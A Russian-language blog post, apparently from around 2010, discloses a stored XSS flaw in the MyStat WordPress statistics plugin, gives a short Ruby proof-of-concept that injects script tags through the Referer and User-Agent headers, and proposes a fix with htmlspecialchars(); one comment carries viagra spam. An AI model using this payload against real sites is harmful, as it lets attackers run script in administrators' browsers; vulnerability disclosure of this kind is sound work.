активная XSS плагин mystat wordpress

Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина – http://wordpress.org/extend/plugins/mystat/.

Актиная XSS наблюдается в таких разделах плагина как ‘Рефереры’, ‘Агенты’ итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов.

Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что эта бага актуальна для всех версий WordPress и всех существующих на данный момент версий mystat.

Эксплойт

Эксплойт написан на Ruby, как установить и запустить Ruby читайте в предыдущих статьях этого блога.

#!/usr/bin/ruby
require 'net/http'
http = Net::HTTP.new('very.popular.blog.ru', 80)
path = '/'
headers = {
'Referer' ='<script>alert(/XSS/);</script>',
'User-agent' ='<script>alert(/XSS/);</script>'}
resp, data = http.get(path, headers)
if resp.code.to_i==200 then puts "Exploiting OK"
else puts "Exploiting failed" end

Фикс
Открываем /wp-content/plugins/wp-mystat/mystat.php и фильтруем в функции function myStat_header() html-теги функцией htmlspecialchars():

$US['lang']=htmlspecialchars((string)substr($GLOBALS['_SERVER']['HTTP_ACCEPT_LANGUAGE'],0,2));
$US['user_agent']=htmlspecialchars((string)$GLOBALS['_SERVER']['HTTP_USER_AGENT']);
$US['referer']=(string)isset($GLOBALS['_SERVER']['HTTP_REFERER'])?htmlspecialchars($GLOBALS['_SERVER']['HTTP_REFERER']):'';

Здесь приведен не полный список полей, которые надо фильтровать.

Статья не призывает ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только на вас!

5 Comments to “активная XSS плагин mystat wordpress”

  1. Ctacok пишет:

    Ruby для сплойтов? мдауж, юзай perl :) Ruby реально редко у кого есть :)
    Кстате, buy viagra, buy cheapest viagra online.

  2. lukmus пишет:

    да тут такой сплойт примитивный, что его и незная Ruby можно легко транслировать на любой другой язык, а можно даже и совсем не кодить, а задать необходимые данные заголовка HTTP через плагин для FF LiveHTTPHeaders.
    P.S. я не знаю перл

  3. Антон пишет:

    Благодарствую, полезная вещь.

  4. Андрей пишет:

    Благодарствую, полезная вещь.

Leave a Reply to Антон

(обязательно)

(обязательно)